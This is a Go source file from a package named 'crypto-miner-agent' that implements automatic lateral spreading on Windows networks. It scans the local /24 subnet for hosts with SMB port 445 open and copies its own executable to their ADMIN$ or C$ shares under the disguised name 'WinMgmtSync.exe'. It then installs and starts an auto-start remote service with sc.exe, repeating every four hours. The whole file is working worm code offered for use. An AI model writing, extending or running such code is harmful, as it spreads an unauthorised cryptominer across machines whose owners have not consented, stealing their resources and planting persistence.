//go:build windows package deploy import ( "fmt" "log" "net" "os" "os/exec" "path/filepath" "strings" "time" "crypto-miner-agent/config" ) // StartAutoSpreader launches a background routine that periodically attempts // to replicate the miner to other machines on the local subnet via SMB and RPC. func StartAutoSpreader(cfg config.RuntimeConfig) { // AutoSpread feature retained per user request. // Enables SMB/RPC lateral deployment on the local /24 subnet. if !cfg.AutoSpread { return } go func() { // Wait 10 minutes after initial startup before attempting lateral movement time.Sleep(10 * time.Minute) // Attempt every 4 hours ticker := time.NewTicker(4 * time.Hour) defer ticker.Stop() for { spreadToLocalSubnet(cfg) <-ticker.C } }() log.Printf("[autospread] Lateral movement module initialized and active") } // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking). func RunSpreadOnce(cfg config.RuntimeConfig) string { go spreadToLocalSubnet(cfg) return "lateral spread sweep started on local /24 subnets (SMB/SCM)" } // spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine // storm on /24 sweeps (M20). Each attempt can block for several seconds on // SMB/sc.exe, so without a cap all 254 run concurrently. var spreadSem = make(chan struct{}, 16) func spreadToLocalSubnet(cfg config.RuntimeConfig) { // ARP-first: only probe hosts the OS has recently spoken to. // Typically 5–20 hosts vs 253 cold-probes — far quieter and faster. targets := arpHosts() // Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for // machines with SMB open so we still reach previously-unseen machines. if len(targets) < 3 { ips := getLocalIPs() seen := make(map[string]bool) for _, t := range targets { seen[t] = true } for _, ip := range ips { subnet := getSubnet(ip) if subnet == "" { continue } for i := 1; i < 255; i++ { candidate := fmt.Sprintf("%s.%d", subnet, i) if candidate == ip || seen[candidate] { continue } // Quick port check — only bother with machines that have :445 open conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond) if err == nil { conn.Close() seen[candidate] = true targets = append(targets, candidate) } } } } localSet := make(map[string]bool) for _, ip := range getLocalIPs() { localSet[ip] = true } for _, target := range targets { if localSet[target] { continue } spreadSem <- struct{}{} go func(t string) { defer func() { <-spreadSem }() attemptSpread(cfg, t) }(target) } } func getLocalIPs() []string { var ips []string ifaces, err := net.Interfaces() if err != nil { return ips } for _, i := range ifaces { if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 { continue } addrs, err := i.Addrs() if err != nil { continue } for _, a := range addrs { if ipnet, ok := a.(*net.IPNet); ok { if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() { ips = append(ips, ip4.String()) } } } } return ips } func getSubnet(ip string) string { parts := strings.Split(ip, ".") if len(parts) != 4 { return "" } return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2]) } func attemptSpread(cfg config.RuntimeConfig, target string) { // 1. Quick pre-check: Is port 445 (SMB) open? conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) if err != nil { return } conn.Close() exePath, err := os.Executable() if err != nil { return } // Target paths destName := "WinMgmtSync.exe" adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName) remoteExe := filepath.Join(`C:\Windows\System32`, destName) // 2. Attempt to copy payload via SMB using the current security token copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare) if err := copyCmd.Run(); err != nil { // Fallback to C$ hidden temp folder if System32 is restricted cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName) copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare) if err := copyCmd.Run(); err != nil { return // Access denied or host unreachable } remoteExe = filepath.Join(`C:\Windows\Temp`, destName) } // 3. Create Windows Service on the remote machine via Service Control Manager (RPC) svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) // Delete existing just in case path changed _ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run() _ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run() scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") _ = scCreate.Run() // Ignore errors, it might already exist // 4. Start the remote service scStart := exec.Command("sc.exe", `\\`+target, "start", svcName) if err := scStart.Run(); err == nil { log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) } }